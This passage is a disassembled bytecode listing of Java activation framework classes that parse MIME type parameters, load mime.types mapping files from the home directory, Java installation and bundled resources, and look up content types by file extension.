00000038 new-instance v0, MimeTypeParseException
0000003C const-string v1, "More characters encountered in input than expected."
00000040 invoke-direct MimeTypeParseException-><init>(String)V, v0, v1
00000046 throw v0
:48
00000048 add-int/lit8 v0, v0, 0x1
0000004C invoke-static MimeTypeParameterList->skipWhiteSpace(String, I)I, p1, v0
00000052 move-result v1
00000054 if-ge v1, v3, :8
:58
00000058 move v0, v1
:5A
0000005A if-ge v0, v3, :72
:5E
0000005E invoke-virtual String->charAt(I)C, p1, v0
00000064 move-result v2
00000066 invoke-static MimeTypeParameterList->isTokenChar(C)Z, v2
0000006C move-result v2
0000006E if-nez v2, :B2
:72
00000072 invoke-virtual String->substring(I, I)String, p1, v1, v0
00000078 move-result-object v1
0000007A sget-object v2, Locale->ENGLISH:Locale
0000007E invoke-virtual String->toLowerCase(Locale)String, v1, v2
00000084 move-result-object v4
00000086 invoke-static MimeTypeParameterList->skipWhiteSpace(String, I)I, p1, v0
0000008C move-result v0
0000008E if-ge v0, v3, :A2
:92
00000092 invoke-virtual String->charAt(I)C, p1, v0
00000098 move-result v1
0000009A const/16 v2, 0x3D
0000009E if-eq v1, v2, :B8
:A2
000000A2 new-instance v0, MimeTypeParseException
000000A6 const-string v1, "Couldn\'t find the \'=\' that separates a parameter name from its value."
000000AA invoke-direct MimeTypeParseException-><init>(String)V, v0, v1
000000B0 throw v0
:B2
000000B2 add-int/lit8 v0, v0, 0x1
000000B6 goto :5A
:B8
000000B8 add-int/lit8 v0, v0, 0x1
000000BC invoke-static MimeTypeParameterList->skipWhiteSpace(String, I)I, p1, v0
000000C2 move-result v0
000000C4 if-lt v0, v3, :F2
:C8
000000C8 new-instance v0, MimeTypeParseException
000000CC new-instance v1, StringBuilder
000000D0 const-string v2, "Couldn\'t find a value for parameter named "
000000D4 invoke-direct StringBuilder-><init>(String)V, v1, v2
000000DA invoke-virtual StringBuilder->append(String)StringBuilder, v1, v4
000000E0 move-result-object v1
000000E2 invoke-virtual StringBuilder->toString()String, v1
000000E8 move-result-object v1
000000EA invoke-direct MimeTypeParseException-><init>(String)V, v0, v1
000000F0 throw v0
:F2
000000F2 invoke-virtual String->charAt(I)C, p1, v0
000000F8 move-result v1
000000FA if-ne v1, v6, :17E
:FE
000000FE add-int/lit8 v2, v0, 0x1
00000102 if-lt v2, v3, :116
:106
00000106 new-instance v0, MimeTypeParseException
0000010A const-string v1, "Encountered unterminated quoted parameter value."
0000010E invoke-direct MimeTypeParseException-><init>(String)V, v0, v1
00000114 throw v0
:116
00000116 move v0, v2
:118
00000118 if-lt v0, v3, :130
:11C
0000011C if-eq v1, v6, :14E
:120
00000120 new-instance v0, MimeTypeParseException
00000124 const-string v1, "Encountered unterminated quoted parameter value."
00000128 invoke-direct MimeTypeParseException-><init>(String)V, v0, v1
0000012E throw v0
:130
00000130 invoke-virtual String->charAt(I)C, p1, v0
00000136 move-result v1
00000138 if-eq v1, v6, :11C
:13C
0000013C const/16 v5, 0x5C
00000140 if-ne v1, v5, :148
:144
00000144 add-int/lit8 v0, v0, 0x1
:148
00000148 add-int/lit8 v0, v0, 0x1
0000014C goto :118
:14E
0000014E invoke-virtual String->substring(I, I)String, p1, v2, v0
00000154 move-result-object v1
00000156 invoke-static MimeTypeParameterList->unquote(String)String, v1
0000015C move-result-object v1
0000015E add-int/lit8 v0, v0, 0x1
00000162 move-object v7, v1
00000164 move v1, v0
00000166 move-object v0, v7
:168
00000168 iget-object v2, p0, MimeTypeParameterList->parameters:Hashtable
0000016C invoke-virtual Hashtable->put(Object, Object)Object, v2, v4, v0
00000172 invoke-static MimeTypeParameterList->skipWhiteSpace(String, I)I, p1, v1
00000178 move-result v0
0000017A goto/16 :20
:17E
0000017E invoke-static MimeTypeParameterList->isTokenChar(C)Z, v1
00000184 move-result v1
00000186 if-eqz v1, :1B4
:18A
0000018A move v1, v0
:18C
0000018C if-ge v1, v3, :1A4
:190
00000190 invoke-virtual String->charAt(I)C, p1, v1
00000196 move-result v2
00000198 invoke-static MimeTypeParameterList->isTokenChar(C)Z, v2
0000019E move-result v2
000001A0 if-nez v2, :1AE
:1A4
000001A4 invoke-virtual String->substring(I, I)String, p1, v0, v1
000001AA move-result-object v0
000001AC goto :168
:1AE
000001AE add-int/lit8 v1, v1, 0x1
000001B2 goto :18C
:1B4
000001B4 new-instance v1, MimeTypeParseException
000001B8 new-instance v2, StringBuilder
000001BC const-string v3, "Unexpected character encountered at index "
000001C0 invoke-direct StringBuilder-><init>(String)V, v2, v3
000001C6 invoke-virtual StringBuilder->append(I)StringBuilder, v2, v0
000001CC move-result-object v0
000001CE invoke-virtual StringBuilder->toString()String, v0
000001D4 move-result-object v0
000001D6 invoke-direct MimeTypeParseException-><init>(String)V, v1, v0
000001DC throw v1
.end method
.method public remove(String)V
.registers 5
00000000 iget-object v0, p0, MimeTypeParameterList->parameters:Hashtable
00000004 invoke-virtual String->trim()String, p1
0000000A move-result-object v1
0000000C sget-object v2, Locale->ENGLISH:Locale
00000010 invoke-virtual String->toLowerCase(Locale)String, v1, v2
00000016 move-result-object v1
00000018 invoke-virtual Hashtable->remove(Object)Object, v0, v1
0000001E return-void
.end method
.method public set(String, String)V
.registers 6
00000000 iget-object v0, p0, MimeTypeParameterList->parameters:Hashtable
00000004 invoke-virtual String->trim()String, p1
0000000A move-result-object v1
0000000C sget-object v2, Locale->ENGLISH:Locale
00000010 invoke-virtual String->toLowerCase(Locale)String, v1, v2
00000016 move-result-object v1
00000018 invoke-virtual Hashtable->put(Object, Object)Object, v0, v1, p2
0000001E return-void
.end method
.method public size()I
.registers 2
00000000 iget-object v0, p0, MimeTypeParameterList->parameters:Hashtable
00000004 invoke-virtual Hashtable->size()I, v0
0000000A move-result v0
0000000C return v0
.end method
.method public toString()String
.registers 5
00000000 new-instance v1, StringBuffer
00000004 invoke-direct StringBuffer-><init>()V, v1
0000000A iget-object v0, p0, MimeTypeParameterList->parameters:Hashtable
0000000E invoke-virtual Hashtable->size()I, v0
00000014 move-result v0
00000016 mul-int/lit8 v0, v0, 0x10
0000001A invoke-virtual StringBuffer->ensureCapacity(I)V, v1, v0
00000020 iget-object v0, p0, MimeTypeParameterList->parameters:Hashtable
00000024 invoke-virtual Hashtable->keys()Enumeration, v0
0000002A move-result-object v2
:2C
0000002C invoke-interface Enumeration->hasMoreElements()Z, v2
00000032 move-result v0
00000034 if-nez v0, :42
:38
00000038 invoke-virtual StringBuffer->toString()String, v1
0000003E move-result-object v0
00000040 return-object v0
:42
00000042 invoke-interface Enumeration->nextElement()Object, v2
00000048 move-result-object v0
0000004A check-cast v0, String
0000004E const-string v3, "; "
00000052 invoke-virtual StringBuffer->append(String)StringBuffer, v1, v3
00000058 invoke-virtual StringBuffer->append(String)StringBuffer, v1, v0
0000005E const/16 v3, 0x3D
00000062 invoke-virtual StringBuffer->append(C)StringBuffer, v1, v3
00000068 iget-object v3, p0, MimeTypeParameterList->parameters:Hashtable
0000006C invoke-virtual Hashtable->get(Object)Object, v3, v0
00000072 move-result-object v0
00000074 check-cast v0, String
00000078 invoke-static MimeTypeParameterList->quote(String)String, v0
0000007E move-result-object v0
00000080 invoke-virtual StringBuffer->append(String)StringBuffer, v1, v0
00000086 goto :2C
.end method
#--------------------------------------------------------------------------------
.class public MimeTypeParseException
.super Exception
.source ""
.method public constructor <init>()V
.registers 1
00000000 invoke-direct Exception-><init>()V, p0
00000006 return-void
.end method
.method public constructor <init>(String)V
.registers 2
00000000 invoke-direct Exception-><init>(String)V, p0, p1
00000006 return-void
.end method
#--------------------------------------------------------------------------------
.class public MimetypesFileTypeMap
.super FileTypeMap
.source ""
.field private static final PROG:I
.field private static defDB:MimeTypeFile
.field private static defaultType:String
.field private DB:[MimeTypeFile
.method static constructor <clinit>()V
.registers 1
00000000 const/4 v0, 0x0
00000002 sput-object v0, MimetypesFileTypeMap->defDB:MimeTypeFile
00000006 const-string v0, "application/octet-stream"
0000000A sput-object v0, MimetypesFileTypeMap->defaultType:String
0000000E return-void
.end method
.method public constructor <init>()V
.registers 4
00000000 invoke-direct FileTypeMap-><init>()V, p0
00000006 new-instance v0, Vector
0000000A const/4 v1, 0x5
0000000C invoke-direct Vector-><init>(I)V, v0, v1
00000012 const/4 v1, 0x0
00000014 invoke-virtual Vector->addElement(Object)V, v0, v1
0000001A const-string v1, "MimetypesFileTypeMap: load HOME"
0000001E invoke-static LogSupport->log(String)V, v1
:24
00000024 const-string v1, "user.home"
00000028 invoke-static System->getProperty(String)String, v1
0000002E move-result-object v1
00000030 if-eqz v1, :78
:34
00000034 new-instance v2, StringBuilder
00000038 invoke-static String->valueOf(Object)String, v1
0000003E move-result-object v1
00000040 invoke-direct StringBuilder-><init>(String)V, v2, v1
00000046 sget-object v1, File->separator:String
0000004A invoke-virtual StringBuilder->append(String)StringBuilder, v2, v1
00000050 move-result-object v1
00000052 const-string v2, ".mime.types"
00000056 invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
0000005C move-result-object v1
0000005E invoke-virtual StringBuilder->toString()String, v1
00000064 move-result-object v1
00000066 invoke-direct MimetypesFileTypeMap->loadFile(String)MimeTypeFile, p0, v1
0000006C move-result-object v1
0000006E if-eqz v1, :78
:72
00000072 invoke-virtual Vector->addElement(Object)V, v0, v1
:78
00000078 const-string v1, "MimetypesFileTypeMap: load SYS"
0000007C invoke-static LogSupport->log(String)V, v1
:82
00000082 new-instance v1, StringBuilder
00000086 const-string v2, "java.home"
0000008A invoke-static System->getProperty(String)String, v2
00000090 move-result-object v2
00000092 invoke-static String->valueOf(Object)String, v2
00000098 move-result-object v2
0000009A invoke-direct StringBuilder-><init>(String)V, v1, v2
000000A0 sget-object v2, File->separator:String
000000A4 invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
000000AA move-result-object v1
000000AC const-string v2, "lib"
000000B0 invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
000000B6 move-result-object v1
000000B8 sget-object v2, File->separator:String
000000BC invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
000000C2 move-result-object v1
000000C4 const-string v2, "mime.types"
000000C8 invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
000000CE move-result-object v1
000000D0 invoke-virtual StringBuilder->toString()String, v1
000000D6 move-result-object v1
000000D8 invoke-direct MimetypesFileTypeMap->loadFile(String)MimeTypeFile, p0, v1
000000DE move-result-object v1
000000E0 if-eqz v1, :EA
:E4
000000E4 invoke-virtual Vector->addElement(Object)V, v0, v1
:EA
000000EA const-string v1, "MimetypesFileTypeMap: load JAR"
000000EE invoke-static LogSupport->log(String)V, v1
000000F4 const-string v1, "mime.types"
000000F8 invoke-direct MimetypesFileTypeMap->loadAllResources(Vector, String)V, p0, v0, v1
000000FE const-string v1, "MimetypesFileTypeMap: load DEF"
00000102 invoke-static LogSupport->log(String)V, v1
00000108 const-class v1, MimetypesFileTypeMap
0000010C monitor-enter v1
:10E
0000010E sget-object v2, MimetypesFileTypeMap->defDB:MimeTypeFile
00000112 if-nez v2, :126
:116
00000116 const-string v2, "/mimetypes.default"
0000011A invoke-direct MimetypesFileTypeMap->loadResource(String)MimeTypeFile, p0, v2
00000120 move-result-object v2
00000122 sput-object v2, MimetypesFileTypeMap->defDB:MimeTypeFile
:126
00000126 monitor-exit v1
:128
00000128 sget-object v1, MimetypesFileTypeMap->defDB:MimeTypeFile
0000012C if-eqz v1, :13A
:130
00000130 sget-object v1, MimetypesFileTypeMap->defDB:MimeTypeFile
00000134 invoke-virtual Vector->addElement(Object)V, v0, v1
:13A
0000013A invoke-virtual Vector->size()I, v0
00000140 move-result v1
00000142 new-array v1, v1, [MimeTypeFile
00000146 iput-object v1, p0, MimetypesFileTypeMap->DB:[MimeTypeFile
0000014A iget-object v1, p0, MimetypesFileTypeMap->DB:[MimeTypeFile
0000014E invoke-virtual Vector->copyInto([Object)V, v0, v1
00000154 return-void
:156
00000156 move-exception v0
:158
00000158 monitor-exit v1
:15A
0000015A throw v0
:15C
0000015C move-exception v1
0000015E goto :EA
:160
00000160 move-exception v1
00000162 goto :78
.catch SecurityException {:24 .. :78} :160
.catch SecurityException {:82 .. :EA} :15C
.catchall {:10E .. :128} :156
.catchall {:158 .. :15A} :156
.end method
.method public constructor <init>(InputStream)V
.registers 5
00000000 invoke-direct MimetypesFileTypeMap-><init>()V, p0
:6
00000006 iget-object v0, p0, MimetypesFileTypeMap->DB:[MimeTypeFile
0000000A const/4 v1, 0x0
0000000C new-instance v2, MimeTypeFile
00000010 invoke-direct MimeTypeFile-><init>(InputStream)V, v2, p1
00000016 aput-object v2, v0, v1
:1A
0000001A return-void
:1C
0000001C move-exception v0
0000001E goto :1A
.catch IOException {:6 .. :1A} :1C
.end method
.method public constructor <init>(String)V
.registers 5
00000000 invoke-direct MimetypesFileTypeMap-><init>()V, p0
00000006 iget-object v0, p0, MimetypesFileTypeMap->DB:[MimeTypeFile
0000000A const/4 v1, 0x0
0000000C new-instance v2, MimeTypeFile
00000010 invoke-direct MimeTypeFile-><init>(String)V, v2, p1
00000016 aput-object v2, v0, v1
0000001A return-void
.end method
.method private loadAllResources(Vector, String)V
.registers 12
00000000 const/4 v2, 0x0
:2
00000002 invoke-static SecuritySupport->getContextClassLoader()ClassLoader
00000008 move-result-object v0
0000000A if-nez v0, :1E
:E
0000000E invoke-virtual Object->getClass()Class, p0
00000014 move-result-object v0
00000016 invoke-virtual Class->getClassLoader()ClassLoader, v0
0000001C move-result-object v0
:1E
0000001E if-eqz v0, :8E
:22
00000022 invoke-static SecuritySupport->getResources(ClassLoader, String)[URL, v0, p2
00000028 move-result-object v0
0000002A move-object v4, v0
:2C
0000002C if-eqz v4, :4E
:30
00000030 invoke-static LogSupport->isLoggable()Z
00000036 move-result v0
00000038 if-eqz v0, :46
:3C
0000003C const-string v0, "MimetypesFileTypeMap: getResources"
00000040 invoke-static LogSupport->log(String)V, v0
:46
00000046 move v3, v2
:48
00000048 array-length v0, v4
:4A
0000004A if-lt v3, v0, :9A
:4E
0000004E if-nez v2, :8C
:52
00000052 const-string v0, "MimetypesFileTypeMap: !anyLoaded"
00000056 invoke-static LogSupport->log(String)V, v0
0000005C new-instance v0, StringBuilder
00000060 const-string v1, "/"
00000064 invoke-direct StringBuilder-><init>(String)V, v0, v1
0000006A invoke-virtual StringBuilder->append(String)StringBuilder, v0, p2
00000070 move-result-object v0
00000072 invoke-virtual StringBuilder->toString()String, v0
00000078 move-result-object v0
0000007A invoke-direct MimetypesFileTypeMap->loadResource(String)MimeTypeFile, p0, v0
00000080 move-result-object v0
00000082 if-eqz v0, :8C
:86
00000086 invoke-virtual Vector->addElement(Object)V, p1, v0
:8C
0000008C return-void
:8E
0000008E invoke-static SecuritySupport->getSystemResources(String)[URL, p2
00000094 move-result-object v0
00000096 move-object v4, v0
00000098 goto :2C
:9A
0000009A aget-object v5, v4, v3
0000009E const/4 v1, 0x0
000000A0 invoke-static LogSupport->isLoggable()Z
000000A6 move-result v0
000000A8 if-eqz v0, :D0
:AC
000000AC new-instance v0, StringBuilder
000000B0 const-string v6, "MimetypesFileTypeMap: URL "
000000B4 invoke-direct StringBuilder-><init>(String)V, v0, v6
000000BA invoke-virtual StringBuilder->append(Object)StringBuilder, v0, v5
000000C0 move-result-object v0
000000C2 invoke-virtual StringBuilder->toString()String, v0
000000C8 move-result-object v0
000000CA invoke-static LogSupport->log(String)V, v0
:D0
000000D0 invoke-static SecuritySupport->openStream(URL)InputStream, v5
:D6
000000D6 move-result-object v1
000000D8 if-eqz v1, :134
:DC
000000DC new-instance v0, MimeTypeFile
000000E0 invoke-direct MimeTypeFile-><init>(InputStream)V, v0, v1
000000E6 invoke-virtual Vector->addElement(Object)V, p1, v0
000000EC const/4 v2, 0x1
000000EE invoke-static LogSupport->isLoggable()Z
000000F4 move-result v0
000000F6 if-eqz v0, :278
:FA
000000FA new-instance v0, StringBuilder
000000FE const-string v6, "MimetypesFileTypeMap: successfully loaded mime types from URL: "
00000102 invoke-direct StringBuilder-><init>(String)V, v0, v6
00000108 invoke-virtual StringBuilder->append(Object)StringBuilder, v0, v5
0000010E move-result-object v0
00000110 invoke-virtual StringBuilder->toString()String, v0
00000116 move-result-object v0
00000118 invoke-static LogSupport->log(String)V, v0
:11E
0000011E move v0, v2
:120
00000120 if-eqz v1, :12A
:124
00000124 invoke-virtual InputStream->close()V, v1
:12A
0000012A add-int/lit8 v2, v3, 0x1
0000012E move v3, v2
00000130 move v2, v0
00000132 goto :48
:134
00000134 invoke-static LogSupport->isLoggable()Z
0000013A move-result v0
0000013C if-eqz v0, :278
:140
00000140 new-instance v0, StringBuilder
00000144 const-string v6, "MimetypesFileTypeMap: not loading mime types from URL: "
00000148 invoke-direct StringBuilder-><init>(String)V, v0, v6
0000014E invoke-virtual StringBuilder->append(Object)StringBuilder, v0, v5
00000154 move-result-object v0
00000156 invoke-virtual StringBuilder->toString()String, v0
0000015C move-result-object v0
0000015E invoke-static LogSupport->log(String)V, v0
:164
00000164 move v0, v2
00000166 goto :120
:168
00000168 move-exception v0
0000016A move-object v8, v0
0000016C move v0, v2
0000016E move-object v2, v1
00000170 move-object v1, v8
:172
00000172 invoke-static LogSupport->isLoggable()Z
00000178 move-result v6
0000017A if-eqz v6, :1A2
:17E
0000017E new-instance v6, StringBuilder
00000182 const-string v7, "MimetypesFileTypeMap: can\'t load "
00000186 invoke-direct StringBuilder-><init>(String)V, v6, v7
0000018C invoke-virtual StringBuilder->append(Object)StringBuilder, v6, v5
00000192 move-result-object v5
00000194 invoke-virtual StringBuilder->toString()String, v5
0000019A move-result-object v5
0000019C invoke-static LogSupport->log(String, Throwable)V, v5, v1
:1A2
000001A2 if-eqz v2, :12A
:1A6
000001A6 invoke-virtual InputStream->close()V, v2
:1AC
000001AC goto :12A
:1AE
000001AE move-exception v1
000001B0 goto :12A
:1B2
000001B2 move-exception v0
000001B4 move-object v8, v0
000001B6 move v0, v2
000001B8 move-object v2, v1
000001BA move-object v1, v8
:1BC
000001BC invoke-static LogSupport->isLoggable()Z
000001C2 move-result v6
000001C4 if-eqz v6, :1EC
:1C8
000001C8 new-instance v6, StringBuilder
000001CC const-string v7, "MimetypesFileTypeMap: can\'t load "
000001D0 invoke-direct StringBuilder-><init>(String)V, v6, v7
000001D6 invoke-virtual StringBuilder->append(Object)StringBuilder, v6, v5
000001DC move-result-object v5
000001DE invoke-virtual StringBuilder->toString()String, v5
000001E4 move-result-object v5
000001E6 invoke-static LogSupport->log(String, Throwable)V, v5, v1
:1EC
000001EC if-eqz v2, :12A
:1F0
000001F0 invoke-virtual InputStream->close()V, v2
:1F6
000001F6 goto :12A
:1F8
000001F8 move-exception v1
000001FA goto :12A
:1FC
000001FC move-exception v0
:1FE
000001FE if-eqz v1, :208
:202
00000202 invoke-virtual InputStream->close()V, v1
:208
00000208 throw v0
:20A
0000020A move-exception v0
:20C
0000020C invoke-static LogSupport->isLoggable()Z
00000212 move-result v1
00000214 if-eqz v1, :4E
:218
00000218 new-instance v1, StringBuilder
0000021C const-string v3, "MimetypesFileTypeMap: can\'t load "
00000220 invoke-direct StringBuilder-><init>(String)V, v1, v3
00000226 invoke-virtual StringBuilder->append(String)StringBuilder, v1, p2
0000022C move-result-object v1
0000022E invoke-virtual StringBuilder->toString()String, v1
00000234 move-result-object v1
00000236 invoke-static LogSupport->log(String, Throwable)V, v1, v0
0000023C goto/16 :4E
:240
00000240 move-exception v1
00000242 goto :208
:244
00000244 move-exception v1
00000246 goto/16 :12A
:24A
0000024A move-exception v1
0000024C move v2, v0
0000024E move-object v0, v1
00000250 goto :20C
:252
00000252 move-exception v1
00000254 move-object v8, v1
00000256 move-object v1, v2
00000258 move v2, v0
0000025A move-object v0, v8
0000025C goto :1FE
:25E
0000025E move-exception v0
00000260 move-object v8, v0
00000262 move v0, v2
00000264 move-object v2, v1
00000266 move-object v1, v8
00000268 goto :1BC
:26A
0000026A move-exception v0
0000026C move-object v8, v0
0000026E move v0, v2
00000270 move-object v2, v1
00000272 move-object v1, v8
00000274 goto/16 :172
:278
00000278 move v0, v2
0000027A goto/16 :120
.catch Exception {:2 .. :4A} :20A
.catch Exception {:8E .. :D0} :20A
.catch IOException {:D0 .. :D6} :168
.catch SecurityException {:D0 .. :D6} :1B2
.catchall {:D0 .. :D6} :1FC
.catch IOException {:DC .. :11E} :26A
.catch SecurityException {:DC .. :11E} :25E
.catchall {:DC .. :11E} :1FC
.catch IOException {:124 .. :12A} :244
.catch Exception {:124 .. :12A} :24A
.catch IOException {:134 .. :164} :26A
.catch SecurityException {:134 .. :164} :25E
.catchall {:134 .. :164} :1FC
.catchall {:172 .. :1A2} :252
.catch IOException {:1A6 .. :1AC} :1AE
.catch Exception {:1A6 .. :1AC} :24A
.catchall {:1BC .. :1EC} :252
.catch IOException {:1F0 .. :1F6} :1F8
.catch Exception {:1F0 .. :1F6} :24A
.catch IOException {:202 .. :208} :240
.catch Exception {:202 .. :208} :20A
.catch Exception {:208 .. :20A} :20A
.end method
.method private loadFile(String)MimeTypeFile
.registers 4
00000000 const/4 v1, 0x0
:2
00000002 new-instance v0, MimeTypeFile
00000006 invoke-direct MimeTypeFile-><init>(String)V, v0, p1
:C
0000000C return-object v0
:E
0000000E move-exception v0
00000010 move-object v0, v1
00000012 goto :C
.catch IOException {:2 .. :C} :E
.end method
.method private loadResource(String)MimeTypeFile
.registers 7
00000000 const/4 v1, 0x0
:2
00000002 invoke-virtual Object->getClass()Class, p0
00000008 move-result-object v0
0000000A invoke-static SecuritySupport->getResourceAsStream(Class, String)InputStream, v0, p1
:10
00000010 move-result-object v2
00000012 if-eqz v2, :5C
:16
00000016 new-instance v0, MimeTypeFile
0000001A invoke-direct MimeTypeFile-><init>(InputStream)V, v0, v2
00000020 invoke-static LogSupport->isLoggable()Z
00000026 move-result v3
00000028 if-eqz v3, :50
:2C
0000002C new-instance v3, StringBuilder
00000030 const-string v4, "MimetypesFileTypeMap: successfully loaded mime types file: "
00000034 invoke-direct StringBuilder-><init>(String)V, v3, v4
0000003A invoke-virtual StringBuilder->append(String)StringBuilder, v3, p1
00000040 move-result-object v3
00000042 invoke-virtual StringBuilder->toString()String, v3
00000048 move-result-object v3
0000004A invoke-static LogSupport->log(String)V, v3
:50
00000050 if-eqz v2, :5A
:54
00000054 invoke-virtual InputStream->close()V, v2
:5A
0000005A return-object v0
:5C
0000005C invoke-static LogSupport->isLoggable()Z
00000062 move-result v0
00000064 if-eqz v0, :8C
:68
00000068 new-instance v0, StringBuilder
0000006C const-string v3, "MimetypesFileTypeMap: not loading mime types file: "
00000070 invoke-direct StringBuilder-><init>(String)V, v0, v3
00000076 invoke-virtual StringBuilder->append(String)StringBuilder, v0, p1
0000007C move-result-object v0
0000007E invoke-virtual StringBuilder->toString()String, v0
00000084 move-result-object v0
00000086 invoke-static LogSupport->log(String)V, v0
:8C
0000008C if-eqz v2, :96
:90
00000090 invoke-virtual InputStream->close()V, v2
:96
00000096 move-object v0, v1
00000098 goto :5A
:9A
0000009A move-exception v0
0000009C move-object v2, v1
:9E
0000009E invoke-static LogSupport->isLoggable()Z
000000A4 move-result v3
000000A6 if-eqz v3, :CE
:AA
000000AA new-instance v3, StringBuilder
000000AE const-string v4, "MimetypesFileTypeMap: can\'t load "
000000B2 invoke-direct StringBuilder-><init>(String)V, v3, v4
000000B8 invoke-virtual StringBuilder->append(String)StringBuilder, v3, p1
000000BE move-result-object v3
000000C0 invoke-virtual StringBuilder->toString()String, v3
000000C6 move-result-object v3
000000C8 invoke-static LogSupport->log(String, Throwable)V, v3, v0
:CE
000000CE if-eqz v2, :96
:D2
000000D2 invoke-virtual InputStream->close()V, v2
:D8
000000D8 goto :96
:DA
000000DA move-exception v0
000000DC goto :96
:DE
000000DE move-exception v0
000000E0 move-object v2, v1
:E2
000000E2 invoke-static LogSupport->isLoggable()Z
000000E8 move-result v3
000000EA if-eqz v3, :112
:EE
000000EE new-instance v3, StringBuilder
000000F2 const-string v4, "MimetypesFileTypeMap: can\'t load "
000000F6 invoke-direct StringBuilder-><init>(String)V, v3, v4
000000FC invoke-virtual StringBuilder->append(String)StringBuilder, v3, p1
00000102 move-result-object v3
00000104 invoke-virtual StringBuilder->toString()String, v3
0000010A move-result-object v3
0000010C invoke-static LogSupport->log(String, Throwable)V, v3, v0
:112
00000112 if-eqz v2, :96
:116
00000116 invoke-virtual InputStream->close()V, v2
:11C
0000011C goto :96
:11E
0000011E move-exception v0
00000120 goto :96
:122
00000122 move-exception v0
00000124 move-object v2, v1
:126
00000126 if-eqz v2, :130
:12A
0000012A invoke-virtual InputStream->close()V, v2
:130
00000130 throw v0
:132
00000132 move-exception v1
00000134 goto :5A
:136
00000136 move-exception v1
00000138 goto :130
:13A
0000013A move-exception v0
0000013C goto :96
:13E
0000013E move-exception v0
00000140 goto :126
:142
00000142 move-exception v0
00000144 goto :E2
:146
00000146 move-exception v0
00000148 goto :9E
.catch IOException {:2 .. :10} :9A
.catch SecurityException {:2 .. :10} :DE
.catchall {:2 .. :10} :122
.catch IOException {:16 .. :50} :146
.catch SecurityException {:16 .. :50} :142
.catchall {:16 .. :50} :13E
.catch IOException {:54 .. :5A} :132
.catch IOException {:5C .. :8C} :146
.catch SecurityException {:5C .. :8C} :142
.catchall {:5C .. :8C} :13E
.catch IOException {:90 .. :96} :13A
.catchall {:9E .. :CE} :13E
.catch IOException {:D2 .. :D8} :DA
.catchall {:E2 .. :112} :13E
.catch IOException {:116 .. :11C} :11E
.catch IOException {:12A .. :130} :136
.end method
.method public declared-synchronized addMimeTypes(String)V
.registers 5
00000000 monitor-enter p0
:2
00000002 iget-object v0, p0, MimetypesFileTypeMap->DB:[MimeTypeFile
00000006 const/4 v1, 0x0
00000008 aget-object v0, v0, v1
0000000C if-nez v0, :24
:10
00000010 iget-object v0, p0, MimetypesFileTypeMap->DB:[MimeTypeFile
00000014 const/4 v1, 0x0
00000016 new-instance v2, MimeTypeFile
0000001A invoke-direct MimeTypeFile-><init>()V, v2
00000020 aput-object v2, v0, v1
:24
00000024 iget-object v0, p0, MimetypesFileTypeMap->DB:[MimeTypeFile
00000028 const/4 v1, 0x0
0000002A aget-object v0, v0, v1
0000002E invoke-virtual MimeTypeFile->appendToRegistry(String)V, v0, p1
:34
00000034 monitor-exit p0
00000036 return-void
:38
00000038 move-exception v0
0000003A monitor-exit p0
0000003C throw v0
.catchall {:2 .. :34} :38
.end method
.method public getContentType(File)String
.registers 3
00000000 invoke-virtual File->getName()String, p1
00000006 move-result-object v0
00000008 invoke-virtual MimetypesFileTypeMap->getContentType(String)String, p0, v0
0000000E move-result-object v0
00000010 return-object v0
.end method
.method public declared-synchronized getContentType(String)String
.registers 5
00000000 monitor-enter p0
:2
00000002 const-string v0, "."
00000006 invoke-virtual String->lastIndexOf(String)I, p1, v0
0000000C move-result v0
0000000E if-gez v0, :1A
:12
00000012 sget-object v0, MimetypesFileTypeMap->defaultType:String
:16
00000016 monitor-exit p0
00000018 return-object v0
:1A
0000001A add-int/lit8 v0, v0, 0x1
:1E
0000001E invoke-virtual String->substring(I)String, p1, v0
00000024 move-result-object v2
00000026 invoke-virtual String->length()I, v2
0000002C move-result v0
0000002E if-nez v0, :38
:32
00000032 sget-object v0, MimetypesFileTypeMap->defaultType:String
00000036 goto :16
:38
00000038 const/4 v0, 0x0
0000003A move v1, v0
:3C
0000003C iget-object v0, p0, MimetypesFileTypeMap->DB:[MimeTypeFile
00000040 array-length v0, v0
00000042 if-lt v1, v0, :4C
:46
00000046 sget-object v0, MimetypesFileTypeMap->defaultType:String
0000004A goto :16
:4C
0000004C iget-object v0, p0, MimetypesFileTypeMap->DB:[MimeTypeFile
00000050 aget-object v0, v0, v1
00000054 if-nez v0, :60
:58
00000058 add-int/lit8 v0, v1, 0x1
0000005C move v1, v0
0000005E goto :3C
:60
00000060 iget-object v0, p0, MimetypesFileTypeMap->DB:[MimeTypeFile
00000064 aget-object v0, v0, v1
00000068 invoke-virtual MimeTypeFile->getMIMETypeString(String)String, v0, v2
:6E
0000006E move-result-object v0
00000070 if-eqz v0, :58
:74
00000074 goto :16
:76
00000076 move-exception v0
00000078 monitor-exit p0
0000007A throw v0
.catchall {:2 .. :16} :76
.catchall {:1E .. :6E} :76
.end method
#--------------------------------------------------------------------------------
.class ObjectDataContentHandler
.super Object
.source ""
.implements DataContentHandler
.field private dch:DataContentHandler
.field private mimeType:String
.field private obj:Object
.field private transferFlavors:[DataFlavor
.method public constructor <init>(DataContentHandler, Object, String)V
.registers 5
00000000 const/4 v0, 0x0
00000002 invoke-direct Object-><init>()V, p0
00000008 iput-object v0, p0, ObjectDataContentHandler->transferFlavors:[DataFlavor
0000000C iput-object v0, p0, ObjectDataContentHandler->dch:DataContentHandler
00000010 iput-object p2, p0, ObjectDataContentHandler->obj:Object
00000014 iput-object p3, p0, ObjectDataContentHandler->mimeType:String
00000018 iput-object p1, p0, ObjectDataContentHandler->dch:DataContentHandler
0000001C return-void
.end method
.method public getContent(DataSource)Object
.registers 3
00000000 iget-object v0, p0, ObjectDataContentHandler->obj:Object
00000004 return-object v0
.end method
.method public getDCH()DataContentHandler
.registers 2
00000000 iget-object v0, p0, ObjectDataContentHandler->dch:DataContentHandler
00000004 return-object v0
.end method
.method public getTransferData(DataFlavor, DataSource)Object
.registers 5
00000000 iget-object v0, p0, ObjectDataContentHandler->dch:DataContentHandler
00000004 if-eqz v0, :16
:8
00000008 iget-object v0, p0, ObjectDataContentHandler->dch:DataContentHandler
0000000C invoke-interface DataContentHandler->getTransferData(DataFlavor, DataSource)Object, v0, p1, p2
00000012 move-result-object v0
:14
00000014 return-object v0
:16
00000016 invoke-virtual ObjectDataContentHandler->getTransferDataFlavors()[DataFlavor, p0
0000001C move-result-object v0
